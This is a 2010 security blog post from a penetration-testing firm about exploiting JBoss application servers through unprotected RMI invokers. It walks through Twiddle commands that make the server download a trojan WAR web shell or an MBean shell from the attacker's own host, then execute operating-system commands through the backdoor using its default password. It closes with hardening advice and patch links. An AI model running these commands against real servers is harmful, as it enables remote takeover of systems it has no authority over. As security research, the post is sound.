Server Technologies - JBoss RMI Twiddling

Ben Heinkel - 21 December 2010

Context encounters a wide range of server technologies during the course of penetration testing, often there are known vulnerabilities that can be used to exploit them, other times Context create new attacks. Context will be blogging about these techniques starting with JBoss RMI Twiddling. JBoss is an open source Java based application server which is widely used in corporate environments. In the past it has had its share of security vulnerabilities most of which have been addressed by adequate patches; however it is still distributed with several insecure options enabled by default. A large number of JBoss installations have not been extensively hardened and therefore are vulnerable to the attacks detailed in this post, that under certain circumstances lead to full system compromise.

There are numerous write-ups on JBoss JMX security concerns, but very few on vulnerabilities associated with Java RMI and it’s (by default) enabled unprotected invokers. None of the commonly used vulnerability scanners appear to probe the JavaRMI ports (1098, 1099, 4444) to verify if the invokers have been locked down, and therefore potentially miss a critical security vulnerability. While they will scream and shout when an unprotected JMX-Console is found, they remain mute over unprotected RMI invokers that could be used to achieve the same thing.

The guys at RedTeam Pentesting wrote a comprehensive paper [1] on the topic which provides background information on the invokers themselves, and how one could use scripts provided with JBoss to deploy a WAR shell on the server. The web shell then proxies the commands to the underlying operating system, allowing an attacker to execute commands in the context of the user running JBoss, regardless of how well protected the web consoles are. While I’ve come across quite a few installations where the web consoles have been left enabled allowing this attack, a large percentage of slimmed and locked down installations have the Coyote web connectors disabled. While this prevents the previously mentioned attacks, it is still possible to exploit this mis-configuration by interacting with the server solely over the RMI ports – for deployment and interaction.

The Web Shell RMI Method

I thought I would include a quick re-cap of the web shell deployed over RMI attack talked about by Red-Team security in the past to make this post a little more comprehensive. The conditions for the attack are that the RMI ports are accessible, and the web connectors have been enabled, i.e. you can reach the web console at a port such as 8080. If the web consoles have been restricted to require authentication, a JSP shell bundled in a WAR file can be remotely deployed over RMI and later interacted with through the port the HTTP connector is listening on (usually 8080) bypassing that protection. The Twiddle tool, bundled with JBoss can be used to do this.

Quick test to verify RMI connectivity:

 	twiddle -s RHOST get "jboss.system:type=ServerInfo"

This should return something similar to:

 	HostAddress=X.X.X.X
	AvailableProcessors=8
	OSArch=x86
	OSVersion=5.2
	HostName=XXXXXX
	JavaVendor=Sun Microsystems Inc.
	JavaVMName=Java HotSpot(TM) Client VM
	FreeMemory=1206132840
	ActiveThreadGroupCount=6
	TotalMemory=1467809792
	JavaVMVersion=1.5.0_18-b02
	ActiveThreadCount=160
	JavaVMVendor=Sun Microsystems Inc.
	OSName=Windows 2003
	MaxMemory=1467809792
	JavaVersion=1.5.0_18

Then we deploy the Trojan WAR file (easiest if hosted on a web server locally) with Twiddle:

	twiddle.sh -s RHOST invoke "jboss.system:service=MainDeployer" deploy http://LOCALIP/trojanCon.war 

If you received a ‘null’ response from the previous command, the command shell should now be available through a web browser on http://REMOTEIP/trojanCon/cmd.jsp and allow you to run system commands in the context of the user running JBoss.

What if the Web Connectors Are Disabled

If the web connectors are disabled, the entire process of deploy and invoke would have to be performed via RMI. The easiest way of doing this is to create an Mbean shell (or download the Context Mbean shell) that accepts commands passed to it remotely and executes these on the underlying operating system.

An Mbean, or managed bean, can be used to define an interface for remotely managing resources over RMI. The Mbean can implement this via the following:

  • Attributes, which can be read or changed
  • Operations, which can be invoked to perform a task
  • Notifications, which can be pushed from the Mbean

Further details on Mbeans can be found within the J2SE documentation [3].

The Context Mbean shell defines the operation ‘runCommand’, which takes two String parameters – a password, defined in the source; and the command itself. Refer to the readme and the source itself for more details. If you would like to write your own and don’t know where to start, the JBoss community provide a walkthrough of a simple HelloWorld example [4].
Twiddle can then be used to remotely deploy and interact with the shell using only the RMI ports. Here again the shell would have to be hosted on a local web server and the URL used as a parameter when calling the deploy function. The process basically goes like this:

After hosting the Mbean on a local web server, use Twiddle with the same syntax as previously described to deploy it on the server:

	twiddle.sh -s RHOST invoke "jboss.system:service=MainDeployer" deploy http://LOCALIP/ContextMBean.sar

Again, a ‘null’ response indicates success. Then a quick check to verify that the Mbean service has been installed and is functioning as required:

	twiddle.sh –s REMOTEIP info “com.context.trojan:service=CtxTrojan”
This should return:
	Description: Management Bean.
	+++ Attributes:
	Name: Name
	Type: java.lang.String
	Access: r-
	Name: StateString
	Type: java.lang.String
	Access: r-
	Name: State
	Type: int
	Access: r-
	+++ Operations:
	void destroy()
	void start()
	void stop()
	void create()
	void jbossInternalLifecycle(java.lang.String p1)
	java.lang.String runCommand(java.lang.String p1,java.lang.String p2)
 

And finally to pass a command to the shell with the password that has been set in the uploaded Mbean (default: CtxPass):

	twiddle.sh –s RHOST invoke “com.context.trojan:service=CtxTrojan” runCommand “mbeanpassword” “cmd /c dir”
Solution

Unfortunately most of the invokers JBoss ships with that have allowed attacks of this nature come enabled and unprotected by default. An administrator would therefore have to remove all invokers that are not required by the solution they are deploying, and manually protect the rest.
To enable authentication for the various invokers in JBoss a simple XML configuration edit is required. As authentication sections in the respective XML files have already been included and only commented out, this process is fairly trivial. For more information on how to protect or remove the various invokers, refer to the document referenced at [2]

Although it should be noted that an authentication bypass vulnerability exists in JBoss, which is not referred to in this post, but has been addressed by the following updates from RedHat.

https://rhn.redhat.com/errata/RHSA-2010-0376.html
https://rhn.redhat.com/errata/RHSA-2010-0377.html
https://rhn.redhat.com/errata/RHSA-2010-0378.html
https://rhn.redhat.com/errata/RHSA-2010-0379.html

References:

[1] – Whitepaper ‘Whos the JBoss now’ by RedTeam Pentesting. http://www.redteam-pentesting.de/publications/2009-11-30-Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN.pdf
[2] – Whitepaper – ‘JBoss Security’. http://jira.jboss.org/jira/secure/attachment/12313982/jboss-securejmx.pdf
[3] - 'Overview of Java Management and Monitoring' - http://download.oracle.com/javase/1.5.0/docs/guide/management/overview.html
[4] - JBoss HelloWorld Service Example - http://community.jboss.org/wiki/ExampleHelloWorldService


© Copyright 2013 Context Information Security